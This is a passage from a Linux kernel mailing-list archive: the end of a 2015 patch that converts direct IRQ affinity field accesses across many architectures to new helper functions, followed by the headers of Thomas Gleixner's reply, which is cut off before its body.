@@ -194,7 +194,8 @@ void bfin_internal_unmask_irq(unsigned int irq)
 #ifdef CONFIG_SMP
 static void bfin_internal_unmask_irq_chip(struct irq_data *d)
 {
-	bfin_internal_unmask_irq_affinity(d->irq, d->affinity);
+	bfin_internal_unmask_irq_affinity(d->irq,
+					  irq_data_get_affinity_mask(d));
 }
 
 static int bfin_internal_set_affinity(struct irq_data *d,
diff --git a/arch/ia64/kernel/iosapic.c b/arch/ia64/kernel/iosapic.c
index bc9501e36e77..4d2698d43c39 100644
--- a/arch/ia64/kernel/iosapic.c
+++ b/arch/ia64/kernel/iosapic.c
@@ -838,7 +838,7 @@ iosapic_unregister_intr (unsigned int gsi)
 	if (iosapic_intr_info[irq].count == 0) {
 #ifdef CONFIG_SMP
 		/* Clear affinity */
-		cpumask_setall(irq_get_irq_data(irq)->affinity);
+		cpumask_setall(irq_get_affinity_mask(irq));
 #endif
 		/* Clear the interrupt information */
 		iosapic_intr_info[irq].dest = 0;
diff --git a/arch/ia64/kernel/irq.c b/arch/ia64/kernel/irq.c
index 812a1e6b3179..de4fc00dea98 100644
--- a/arch/ia64/kernel/irq.c
+++ b/arch/ia64/kernel/irq.c
@@ -67,7 +67,7 @@ static char irq_redir [NR_IRQS]; // = { [0 ... NR_IRQS-1] = 1 };
 void set_irq_affinity_info (unsigned int irq, int hwid, int redir)
 {
 	if (irq < NR_IRQS) {
-		cpumask_copy(irq_get_irq_data(irq)->affinity,
+		cpumask_copy(irq_get_affinity_mask(irq),
 			     cpumask_of(cpu_logical_id(hwid)));
 		irq_redir[irq] = (char) (redir & 0xff);
 	}
@@ -119,8 +119,8 @@ static void migrate_irqs(void)
 		if (irqd_is_per_cpu(data))
 			continue;
 
-		if (cpumask_any_and(data->affinity, cpu_online_mask)
-		    >= nr_cpu_ids) {
+		if (cpumask_any_and(irq_data_get_affinity_mask(data),
+				    cpu_online_mask) >= nr_cpu_ids) {
 			/*
 			 * Save it for phase 2 processing
 			 */
diff --git a/arch/ia64/kernel/msi_ia64.c b/arch/ia64/kernel/msi_ia64.c
index d70bf15c690a..6c50d332b7d7 100644
--- a/arch/ia64/kernel/msi_ia64.c
+++ b/arch/ia64/kernel/msi_ia64.c
@@ -36,7 +36,7 @@ static int ia64_set_msi_irq_affinity(struct irq_data *idata,
 	msg.data = data;
 
 	pci_write_msi_msg(irq, &msg);
-	cpumask_copy(idata->affinity, cpumask_of(cpu));
+	cpumask_copy(irq_data_get_affinity_mask(idata), cpumask_of(cpu));
 
 	return 0;
 }
@@ -148,7 +148,7 @@ static int dmar_msi_set_affinity(struct irq_data *data,
 	msg.address_lo |= MSI_ADDR_DEST_ID_CPU(cpu_physical_id(cpu));
 
 	dmar_msi_write(irq, &msg);
-	cpumask_copy(data->affinity, mask);
+	cpumask_copy(irq_data_get_affinity_mask(data), mask);
 
 	return 0;
 }
diff --git a/arch/ia64/sn/kernel/msi_sn.c b/arch/ia64/sn/kernel/msi_sn.c
index a0eb27b66d13..42b5a13af142 100644
--- a/arch/ia64/sn/kernel/msi_sn.c
+++ b/arch/ia64/sn/kernel/msi_sn.c
@@ -206,7 +206,7 @@ static int sn_set_msi_irq_affinity(struct irq_data *data,
 	msg.address_lo = (u32)(bus_addr & 0x00000000ffffffff);
 
 	pci_write_msi_msg(irq, &msg);
-	cpumask_copy(data->affinity, cpu_mask);
+	cpumask_copy(irq_data_get_affinity_mask(data), cpu_mask);
 
 	return 0;
 }
diff --git a/arch/metag/kernel/irq.c b/arch/metag/kernel/irq.c
index 4f8f1f87ef11..a336094a7a6c 100644
--- a/arch/metag/kernel/irq.c
+++ b/arch/metag/kernel/irq.c
@@ -270,23 +270,25 @@ void migrate_irqs(void)
 
 	for_each_active_irq(i) {
 		struct irq_data *data = irq_get_irq_data(i);
+		struct cpumask *mask;
 		unsigned int newcpu;
 
 		if (irqd_is_per_cpu(data))
 			continue;
 
-		if (!cpumask_test_cpu(cpu, data->affinity))
+		mask = irq_data_get_affinity_mask(data);
+		if (!cpumask_test_cpu(cpu, mask))
 			continue;
 
-		newcpu = cpumask_any_and(data->affinity, cpu_online_mask);
+		newcpu = cpumask_any_and(mask, cpu_online_mask);
 
 		if (newcpu >= nr_cpu_ids) {
 			pr_info_ratelimited("IRQ%u no longer affine to CPU%u\n",
 					    i, cpu);
 
-			cpumask_setall(data->affinity);
+			cpumask_setall(mask);
 		}
-		irq_set_affinity(i, data->affinity);
+		irq_set_affinity(i, mask);
 	}
 }
 #endif /* CONFIG_HOTPLUG_CPU */
diff --git a/arch/mips/bcm63xx/irq.c b/arch/mips/bcm63xx/irq.c
index e3e808a6c542..02983b90826d 100644
--- a/arch/mips/bcm63xx/irq.c
+++ b/arch/mips/bcm63xx/irq.c
@@ -60,7 +60,7 @@ static inline int enable_irq_for_cpu(int cpu, struct irq_data *d,
 	if (m)
 		enable &= cpumask_test_cpu(cpu, m);
 	else if (irqd_affinity_was_set(d))
-		enable &= cpumask_test_cpu(cpu, d->affinity);
+		enable &= cpumask_test_cpu(cpu, irq_data_get_affinity_mask(d));
 #endif
 	return enable;
 }
diff --git a/arch/mips/cavium-octeon/octeon-irq.c b/arch/mips/cavium-octeon/octeon-irq.c
index 10f762557b92..0643ae614284 100644
--- a/arch/mips/cavium-octeon/octeon-irq.c
+++ b/arch/mips/cavium-octeon/octeon-irq.c
@@ -225,13 +225,14 @@ static int next_cpu_for_irq(struct irq_data *data)
 
 #ifdef CONFIG_SMP
 	int cpu;
-	int weight = cpumask_weight(data->affinity);
+	struct cpumask *mask = irq_data_get_affinity_mask(data);
+	int weight = cpumask_weight(mask);
 	struct octeon_ciu_chip_data *cd = irq_data_get_irq_chip_data(data);
 
 	if (weight > 1) {
 		cpu = cd->current_cpu;
 		for (;;) {
-			cpu = cpumask_next(cpu, data->affinity);
+			cpu = cpumask_next(cpu, mask);
 			if (cpu >= nr_cpu_ids) {
 				cpu = -1;
 				continue;
@@ -240,7 +241,7 @@ static int next_cpu_for_irq(struct irq_data *data)
 			}
 		}
 	} else if (weight == 1) {
-		cpu = cpumask_first(data->affinity);
+		cpu = cpumask_first(mask);
 	} else {
 		cpu = smp_processor_id();
 	}
@@ -710,16 +711,17 @@ static void octeon_irq_cpu_offline_ciu(struct irq_data *data)
 {
 	int cpu = smp_processor_id();
 	cpumask_t new_affinity;
+	struct cpumask *mask = irq_data_get_affinity_mask(data);
 
-	if (!cpumask_test_cpu(cpu, data->affinity))
+	if (!cpumask_test_cpu(cpu, mask))
 		return;
 
-	if (cpumask_weight(data->affinity) > 1) {
+	if (cpumask_weight(mask) > 1) {
 		/*
 		 * It has multi CPU affinity, just remove this CPU
 		 * from the affinity set.
 		 */
-		cpumask_copy(&new_affinity, data->affinity);
+		cpumask_copy(&new_affinity, mask);
 		cpumask_clear_cpu(cpu, &new_affinity);
 	} else {
 		/* Otherwise, put it on lowest numbered online CPU. */
diff --git a/arch/mips/pmcs-msp71xx/msp_irq_cic.c b/arch/mips/pmcs-msp71xx/msp_irq_cic.c
index 1207ec4dfb77..8b9cf6463040 100644
--- a/arch/mips/pmcs-msp71xx/msp_irq_cic.c
+++ b/arch/mips/pmcs-msp71xx/msp_irq_cic.c
@@ -88,7 +88,8 @@ static void unmask_cic_irq(struct irq_data *d)
 	* Make sure we have IRQ affinity.  It may have changed while
 	* we were processing the IRQ.
 	*/
-	if (!cpumask_test_cpu(smp_processor_id(), d->affinity))
+	if (!cpumask_test_cpu(smp_processor_id(),
+			      irq_data_get_affinity_mask(d)))
 		return;
 #endif
 
diff --git a/arch/mn10300/kernel/cevt-mn10300.c b/arch/mn10300/kernel/cevt-mn10300.c
index 60f64ca1752a..326677d4a3b2 100644
--- a/arch/mn10300/kernel/cevt-mn10300.c
+++ b/arch/mn10300/kernel/cevt-mn10300.c
@@ -123,7 +123,7 @@ int __init init_clockevents(void)
 	{
 		struct irq_data *data;
 		data = irq_get_irq_data(cd->irq);
-		cpumask_copy(data->affinity, cpumask_of(cpu));
+		cpumask_copy(irq_data_get_affinity_mask(data), cpumask_of(cpu));
 		iact->flags |= IRQF_NOBALANCING;
 	}
 #endif
diff --git a/arch/mn10300/kernel/irq.c b/arch/mn10300/kernel/irq.c
index 480de70f4059..c716437baa2c 100644
--- a/arch/mn10300/kernel/irq.c
+++ b/arch/mn10300/kernel/irq.c
@@ -87,7 +87,8 @@ static void mn10300_cpupic_mask_ack(struct irq_data *d)
 		tmp2 = GxICR(irq);
 
 		irq_affinity_online[irq] =
-			cpumask_any_and(d->affinity, cpu_online_mask);
+			cpumask_any_and(irq_data_get_affinity_mask(d),
+					cpu_online_mask);
 		CROSS_GxICR(irq, irq_affinity_online[irq]) =
 			(tmp & (GxICR_LEVEL | GxICR_ENABLE)) | GxICR_DETECT;
 		tmp = CROSS_GxICR(irq, irq_affinity_online[irq]);
@@ -124,7 +125,7 @@ static void mn10300_cpupic_unmask_clear(struct irq_data *d)
 	} else {
 		tmp = GxICR(irq);
 
-		irq_affinity_online[irq] = cpumask_any_and(d->affinity,
+		irq_affinity_online[irq] = cpumask_any_and(irq_data_get_affinity_mask(d),
 							   cpu_online_mask);
 		CROSS_GxICR(irq, irq_affinity_online[irq]) = (tmp & GxICR_LEVEL) | GxICR_ENABLE | GxICR_DETECT;
 		tmp = CROSS_GxICR(irq, irq_affinity_online[irq]);
@@ -316,15 +317,16 @@ void migrate_irqs(void)
 	self = smp_processor_id();
 	for (irq = 0; irq < NR_IRQS; irq++) {
 		struct irq_data *data = irq_get_irq_data(irq);
+		struct cpumask *mask = irq_data_get_affinity_mask(data);
 
 		if (irqd_is_per_cpu(data))
 			continue;
 
-		if (cpumask_test_cpu(self, data->affinity) &&
+		if (cpumask_test_cpu(self, mask) &&
 		    !cpumask_intersects(&irq_affinity[irq], cpu_online_mask)) {
 			int cpu_id;
 			cpu_id = cpumask_first(cpu_online_mask);
-			cpumask_set_cpu(cpu_id, data->affinity);
+			cpumask_set_cpu(cpu_id, mask);
 		}
 		/* We need to operate irq_affinity_online atomically. */
 		arch_local_cli_save(flags);
@@ -335,8 +337,7 @@ void migrate_irqs(void)
 			GxICR(irq) = x & GxICR_LEVEL;
 			tmp = GxICR(irq);
 
-			new = cpumask_any_and(data->affinity,
-					      cpu_online_mask);
+			new = cpumask_any_and(mask, cpu_online_mask);
 			irq_affinity_online[irq] = new;
 
 			CROSS_GxICR(irq, new) =
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index f3191db6e2e9..413ec3c3f9cc 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -131,7 +131,7 @@ static int cpu_set_affinity_irq(struct irq_data *d, const struct cpumask *dest,
 	if (cpu_dest < 0)
 		return -1;
 
-	cpumask_copy(d->affinity, dest);
+	cpumask_copy(irq_data_get_affinity_mask(d), dest);
 
 	return 0;
 }
@@ -339,7 +339,7 @@ unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 {
 #ifdef CONFIG_SMP
 	struct irq_data *d = irq_get_irq_data(irq);
-	cpumask_copy(d->affinity, cpumask_of(cpu));
+	cpumask_copy(irq_data_get_affinity_mask(d), cpumask_of(cpu));
 #endif
 
 	return per_cpu(cpu_data, cpu).txn_addr;
@@ -508,7 +508,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	unsigned long eirr_val;
 	int irq, cpu = smp_processor_id();
 #ifdef CONFIG_SMP
-	struct irq_desc *desc;
+	struct irq_data *irq_data;
 	cpumask_t dest;
 #endif
 
@@ -522,9 +522,9 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	irq = eirr_to_irq(eirr_val);
 
 #ifdef CONFIG_SMP
-	desc = irq_to_desc(irq);
-	cpumask_copy(&dest, desc->irq_data.affinity);
-	if (irqd_is_per_cpu(&desc->irq_data) &&
+	irq_data = irq_get_irq_data(irq);
+	cpumask_copy(&dest, irq_data_get_affinity_mask(irq_data));
+	if (irqd_is_per_cpu(irq_data) &&
 	    !cpumask_test_cpu(smp_processor_id(), &dest)) {
 		int cpu = cpumask_first(&dest);
 
diff --git a/arch/powerpc/kernel/irq.c b/arch/powerpc/kernel/irq.c
index 45096033d37b..290559df1e8b 100644
--- a/arch/powerpc/kernel/irq.c
+++ b/arch/powerpc/kernel/irq.c
@@ -441,7 +441,7 @@ void migrate_irqs(void)
 
 		chip = irq_data_get_irq_chip(data);
 
-		cpumask_and(mask, data->affinity, map);
+		cpumask_and(mask, irq_data_get_affinity_mask(data), map);
 		if (cpumask_any(mask) >= nr_cpu_ids) {
 			pr_warn("Breaking affinity for irq %i\n", irq);
 			cpumask_copy(mask, map);
diff --git a/arch/powerpc/sysdev/xics/ics-opal.c b/arch/powerpc/sysdev/xics/ics-opal.c
index 68c7e5cc98e0..3996393c254d 100644
--- a/arch/powerpc/sysdev/xics/ics-opal.c
+++ b/arch/powerpc/sysdev/xics/ics-opal.c
@@ -54,7 +54,7 @@ static void ics_opal_unmask_irq(struct irq_data *d)
 	if (hw_irq == XICS_IPI || hw_irq == XICS_IRQ_SPURIOUS)
 		return;
 
-	server = xics_get_irq_server(d->irq, d->affinity, 0);
+	server = xics_get_irq_server(d->irq, irq_data_get_affinity_mask(d), 0);
 	server = ics_opal_mangle_server(server);
 
 	rc = opal_set_xive(hw_irq, server, DEFAULT_PRIORITY);
diff --git a/arch/powerpc/sysdev/xics/ics-rtas.c b/arch/powerpc/sysdev/xics/ics-rtas.c
index 0af97deb83f3..e2665a9dfc0f 100644
--- a/arch/powerpc/sysdev/xics/ics-rtas.c
+++ b/arch/powerpc/sysdev/xics/ics-rtas.c
@@ -47,7 +47,7 @@ static void ics_rtas_unmask_irq(struct irq_data *d)
 	if (hw_irq == XICS_IPI || hw_irq == XICS_IRQ_SPURIOUS)
 		return;
 
-	server = xics_get_irq_server(d->irq, d->affinity, 0);
+	server = xics_get_irq_server(d->irq, irq_data_get_affinity_mask(d), 0);
 
 	call_status = rtas_call(ibm_set_xive, 3, 1, NULL, hw_irq, server,
 				DEFAULT_PRIORITY);
diff --git a/arch/sh/kernel/irq.c b/arch/sh/kernel/irq.c
index 8dc677cc136b..6c0378c0b8b5 100644
--- a/arch/sh/kernel/irq.c
+++ b/arch/sh/kernel/irq.c
@@ -228,15 +228,16 @@ void migrate_irqs(void)
 		struct irq_data *data = irq_get_irq_data(irq);
 
 		if (irq_data_get_node(data) == cpu) {
-			unsigned int newcpu = cpumask_any_and(data->affinity,
+			struct cpumask *mask = irq_data_get_affinity_mask(data);
+			unsigned int newcpu = cpumask_any_and(mask,
 							      cpu_online_mask);
 			if (newcpu >= nr_cpu_ids) {
 				pr_info_ratelimited("IRQ%u no longer affine to CPU%u\n",
 						    irq, cpu);
 
-				cpumask_setall(data->affinity);
+				cpumask_setall(mask);
 			}
-			irq_set_affinity(irq, data->affinity);
+			irq_set_affinity(irq, mask);
 		}
 	}
 }
diff --git a/arch/sparc/kernel/irq_64.c b/arch/sparc/kernel/irq_64.c
index 5130f6e3e68e..e22416ce56ea 100644
--- a/arch/sparc/kernel/irq_64.c
+++ b/arch/sparc/kernel/irq_64.c
@@ -377,7 +377,8 @@ static void sun4u_irq_enable(struct irq_data *data)
 		unsigned long cpuid, imap, val;
 		unsigned int tid;
 
-		cpuid = irq_choose_cpu(data->irq, data->affinity);
+		cpuid = irq_choose_cpu(data->irq,
+				       irq_data_get_affinity_mask(data));
 		imap = handler_data->imap;
 
 		tid = sun4u_compute_tid(imap, cpuid);
@@ -449,7 +450,8 @@ static void sun4u_irq_eoi(struct irq_data *data)
 
 static void sun4v_irq_enable(struct irq_data *data)
 {
-	unsigned long cpuid = irq_choose_cpu(data->irq, data->affinity);
+	unsigned long cpuid = irq_choose_cpu(data->irq,
+					     irq_data_get_affinity_mask(data));
 	unsigned int ino = irq_data_to_sysino(data);
 	int err;
 
@@ -511,7 +513,7 @@ static void sun4v_virq_enable(struct irq_data *data)
 	unsigned long cpuid;
 	int err;
 
-	cpuid = irq_choose_cpu(data->irq, data->affinity);
+	cpuid = irq_choose_cpu(data->irq, irq_data_get_affinity_mask(data));
 
 	err = sun4v_vintr_set_target(dev_handle, dev_ino, cpuid);
 	if (err != HV_EOK)
@@ -884,8 +886,8 @@ void fixup_irqs(void)
 		if (desc->action && !irqd_is_per_cpu(data)) {
 			if (data->chip->irq_set_affinity)
 				data->chip->irq_set_affinity(data,
-							     data->affinity,
-							     false);
+					irq_data_get_affinity_mask(data),
+					false);
 		}
 		raw_spin_unlock_irqrestore(&desc->lock, flags);
 	}
diff --git a/arch/sparc/kernel/leon_kernel.c b/arch/sparc/kernel/leon_kernel.c
index 9bbb8f2bbfcc..0299f052a2ef 100644
--- a/arch/sparc/kernel/leon_kernel.c
+++ b/arch/sparc/kernel/leon_kernel.c
@@ -126,7 +126,7 @@ static int leon_set_affinity(struct irq_data *data, const struct cpumask *dest,
 	int oldcpu, newcpu;
 
 	mask = (unsigned long)data->chip_data;
-	oldcpu = irq_choose_cpu(data->affinity);
+	oldcpu = irq_choose_cpu(irq_data_get_affinity_mask(data));
 	newcpu = irq_choose_cpu(dest);
 
 	if (oldcpu == newcpu)
@@ -149,7 +149,7 @@ static void leon_unmask_irq(struct irq_data *data)
 	int cpu;
 
 	mask = (unsigned long)data->chip_data;
-	cpu = irq_choose_cpu(data->affinity);
+	cpu = irq_choose_cpu(irq_data_get_affinity_mask(data));
 	spin_lock_irqsave(&leon_irq_lock, flags);
 	oldmask = LEON3_BYPASS_LOAD_PA(LEON_IMASK(cpu));
 	LEON3_BYPASS_STORE_PA(LEON_IMASK(cpu), (oldmask | mask));
@@ -162,7 +162,7 @@ static void leon_mask_irq(struct irq_data *data)
 	int cpu;
 
 	mask = (unsigned long)data->chip_data;
-	cpu = irq_choose_cpu(data->affinity);
+	cpu = irq_choose_cpu(irq_data_get_affinity_mask(data));
 	spin_lock_irqsave(&leon_irq_lock, flags);
 	oldmask = LEON3_BYPASS_LOAD_PA(LEON_IMASK(cpu));
 	LEON3_BYPASS_STORE_PA(LEON_IMASK(cpu), (oldmask & ~mask));
diff --git a/arch/x86/kernel/apic/io_apic.c b/arch/x86/kernel/apic/io_apic.c
index 845dc0df2002..09921de4210f 100644
--- a/arch/x86/kernel/apic/io_apic.c
+++ b/arch/x86/kernel/apic/io_apic.c
@@ -2541,7 +2541,7 @@ void __init setup_ioapic_dest(void)
 		 * Honour affinities which have been set in early boot
 		 */
 		if (!irqd_can_balance(idata) || irqd_affinity_was_set(idata))
-			mask = idata->affinity;
+			mask = irq_data_get_affinity_mask(idata);
 		else
 			mask = apic->target_cpus();
 
diff --git a/arch/x86/kernel/apic/vector.c b/arch/x86/kernel/apic/vector.c
index 9b62f690b0ff..dfa3a5f5b3d3 100644
--- a/arch/x86/kernel/apic/vector.c
+++ b/arch/x86/kernel/apic/vector.c
@@ -494,9 +494,8 @@ static int apic_set_affinity(struct irq_data *irq_data,
 
 	err = assign_irq_vector(irq, data, dest);
 	if (err) {
-		struct irq_data *top = irq_get_irq_data(irq);
-
-		if (assign_irq_vector(irq, data, top->affinity))
+		if (assign_irq_vector(irq, data,
+				      irq_data_get_affinity_mask(irq_data)))
 			pr_err("Failed to recover vector for irq %d\n", irq);
 		return err;
 	}
diff --git a/arch/x86/kernel/irq.c b/arch/x86/kernel/irq.c
index be3894512820..e0bca24b300b 100644
--- a/arch/x86/kernel/irq.c
+++ b/arch/x86/kernel/irq.c
@@ -304,7 +304,8 @@ int check_irq_vectors_for_cpu_disable(void)
 				continue;
 
 			data = irq_desc_get_irq_data(desc);
-			cpumask_copy(&affinity_new, data->affinity);
+			cpumask_copy(&affinity_new,
+				     irq_data_get_affinity_mask(data));
 			cpumask_clear_cpu(this_cpu, &affinity_new);
 
 			/* Do not count inactive or per-cpu irqs. */
@@ -382,7 +383,7 @@ void fixup_irqs(void)
 		raw_spin_lock(&desc->lock);
 
 		data = irq_desc_get_irq_data(desc);
-		affinity = data->affinity;
+		affinity = irq_data_get_affinity_mask(data);
 		if (!irq_has_action(irq) || irqd_is_per_cpu(data) ||
 		    cpumask_subset(affinity, cpu_online_mask)) {
 			raw_spin_unlock(&desc->lock);
diff --git a/arch/xtensa/kernel/irq.c b/arch/xtensa/kernel/irq.c
index 3eee94f621eb..d7b5a4c8ae5d 100644
--- a/arch/xtensa/kernel/irq.c
+++ b/arch/xtensa/kernel/irq.c
@@ -166,23 +166,25 @@ void migrate_irqs(void)
 
 	for_each_active_irq(i) {
 		struct irq_data *data = irq_get_irq_data(i);
+		struct cpumask *mask;
 		unsigned int newcpu;
 
 		if (irqd_is_per_cpu(data))
 			continue;
 
-		if (!cpumask_test_cpu(cpu, data->affinity))
+		mask = irq_data_get_affinity_mask(data);
+		if (!cpumask_test_cpu(cpu, mask))
 			continue;
 
-		newcpu = cpumask_any_and(data->affinity, cpu_online_mask);
+		newcpu = cpumask_any_and(mask, cpu_online_mask);
 
 		if (newcpu >= nr_cpu_ids) {
 			pr_info_ratelimited("IRQ%u no longer affine to CPU%u\n",
 					    i, cpu);
 
-			cpumask_setall(data->affinity);
+			cpumask_setall(mask);
 		}
-		irq_set_affinity(i, data->affinity);
+		irq_set_affinity(i, mask);
 	}
 }
 #endif /* CONFIG_HOTPLUG_CPU */
diff --git a/drivers/irqchip/irq-mips-gic.c b/drivers/irqchip/irq-mips-gic.c
index 57f09cb54464..09257c301bd2 100644
--- a/drivers/irqchip/irq-mips-gic.c
+++ b/drivers/irqchip/irq-mips-gic.c
@@ -403,7 +403,7 @@ static int gic_set_affinity(struct irq_data *d, const struct cpumask *cpumask,
 		clear_bit(irq, pcpu_masks[i].pcpu_mask);
 	set_bit(irq, pcpu_masks[cpumask_first(&tmp)].pcpu_mask);
 
-	cpumask_copy(d->affinity, cpumask);
+	cpumask_copy(irq_data_get_affinity_mask(d), cpumask);
 	spin_unlock_irqrestore(&gic_lock, flags);
 
 	return IRQ_SET_MASK_OK_NOCOPY;
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 9ee04b4b68bf..144c77dfe4b1 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -691,7 +691,7 @@ static int iosapic_set_affinity_irq(struct irq_data *d,
 	if (dest_cpu < 0)
 		return -1;
 
-	cpumask_copy(d->affinity, cpumask_of(dest_cpu));
+	cpumask_copy(irq_data_get_affinity_mask(d), cpumask_of(dest_cpu));
 	vi->txn_addr = txn_affinity_addr(d->irq, dest_cpu);
 
 	spin_lock_irqsave(&iosapic_lock, flags);
diff --git a/drivers/sh/intc/chip.c b/drivers/sh/intc/chip.c
index 46427b48e2f1..358df7510186 100644
--- a/drivers/sh/intc/chip.c
+++ b/drivers/sh/intc/chip.c
@@ -22,7 +22,7 @@ void _intc_enable(struct irq_data *data, unsigned long handle)
 
 	for (cpu = 0; cpu < SMP_NR(d, _INTC_ADDR_E(handle)); cpu++) {
 #ifdef CONFIG_SMP
-		if (!cpumask_test_cpu(cpu, data->affinity))
+		if (!cpumask_test_cpu(cpu, irq_data_get_affinity_mask(data)))
 			continue;
 #endif
 		addr = INTC_REG(d, _INTC_ADDR_E(handle), cpu);
@@ -50,7 +50,7 @@ static void intc_disable(struct irq_data *data)
 
 	for (cpu = 0; cpu < SMP_NR(d, _INTC_ADDR_D(handle)); cpu++) {
 #ifdef CONFIG_SMP
-		if (!cpumask_test_cpu(cpu, data->affinity))
+		if (!cpumask_test_cpu(cpu, irq_data_get_affinity_mask(data)))
 			continue;
 #endif
 		addr = INTC_REG(d, _INTC_ADDR_D(handle), cpu);
@@ -72,7 +72,7 @@ static int intc_set_affinity(struct irq_data *data,
 	if (!cpumask_intersects(cpumask, cpu_online_mask))
 		return -1;
 
-	cpumask_copy(data->affinity, cpumask);
+	cpumask_copy(irq_data_get_affinity_mask(data), cpumask);
 
 	return IRQ_SET_MASK_OK_NOCOPY;
 }
diff --git a/drivers/xen/events/events_base.c b/drivers/xen/events/events_base.c
index 2b8553bd8715..d00e0be8e9ea 100644
--- a/drivers/xen/events/events_base.c
+++ b/drivers/xen/events/events_base.c
@@ -336,7 +336,7 @@ static void bind_evtchn_to_cpu(unsigned int chn, unsigned int cpu)
 
 	BUG_ON(irq == -1);
 #ifdef CONFIG_SMP
-	cpumask_copy(irq_get_irq_data(irq)->affinity, cpumask_of(cpu));
+	cpumask_copy(irq_get_affinity_mask(irq), cpumask_of(cpu));
 #endif
 	xen_evtchn_port_bind_to_cpu(info, cpu);
 
@@ -373,7 +373,7 @@ static void xen_irq_init(unsigned irq)
 	struct irq_info *info;
 #ifdef CONFIG_SMP
 	/* By default all event channels notify CPU#0. */
-	cpumask_copy(irq_get_irq_data(irq)->affinity, cpumask_of(0));
+	cpumask_copy(irq_get_affinity_mask(irq), cpumask_of(0));
 #endif
 
 	info = kzalloc(sizeof(*info), GFP_KERNEL);
diff --git a/include/linux/irq.h b/include/linux/irq.h
index 43581e166298..2eb82257aaee 100644
--- a/include/linux/irq.h
+++ b/include/linux/irq.h
@@ -650,6 +650,18 @@ static inline int irq_data_get_node(struct irq_data *d)
 	return irq_common_data_get_node(d->common);
 }
 
+static inline struct cpumask *irq_get_affinity_mask(int irq)
+{
+	struct irq_data *d = irq_get_irq_data(irq);
+
+	return d ? d->affinity : NULL;
+}
+
+static inline struct cpumask *irq_data_get_affinity_mask(struct irq_data *d)
+{
+	return d->affinity;
+}
+
 unsigned int arch_dynirq_lower_bound(unsigned int from);
 
 int __irq_alloc_descs(int irq, unsigned int from, unsigned int cnt, int node,
-- 
1.7.10.4




From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [Patch v2 08/14] genirq: Introduce helper function
 irq_data_get_affinity_mask()
Date: Wed, 20 May 2015 16:50:03 +0200 (CEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.11.1505201648490.4225@nanos>
References: <1432114845-24304-1-git-send-email-jiang.liu@linux.intel.com> <1432114845-24304-9-git-send-email-jiang.liu@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1432133570 11034 80.91.229.3 (20 May 2015 14:52:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 May 2015 14:52:50 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Randy Dunlap <rdunlap@infradead.org>,
        Yinghai Lu <yinghai@kernel.org>,
        Borislav Petkov <bp@alien8.de>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Steven Miao <realmz6@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        James Hogan <james.hogan@imgtec.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
To: Jiang Liu <jiang.liu@linux.intel.com>
Original-X-From: linux-mips-bounce@linux-mips.org Wed May 20 16:52:36 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Yv5MH-0006f5-Su
	for sgi-linux-mips@gmane.org; Wed, 20 May 2015 16:52:33 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:36160 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27026338AbbETOw2gjgnm (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 20 May 2015 16:52:28 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 20 May 2015 16:52:12 +0200 (CEST)
Original-Received: from www.linutronix.de ([62.245.132.108]:34203 "EHLO
        Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S27026232AbbETOwKzh8m8 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 20 May 2015 16:52:10 +0200
Original-Received: from localhost ([127.0.0.1])
        by Galois.linutronix.de with esmtps (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:256)
        (Exim 4.80)
        (envelope-from <tglx@linutronix.de>)
        id 1Yv5Jj-0007JQ-VK; Wed, 20 May 2015 16:49:56 +0200
In-Reply-To: <1432114845-24304-9-git-send-email-jiang.liu@linux.intel.com>
User-Agent: Alpine 2.11 (DEB 23 2013-08-11)
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001
X-archive-position: 47498
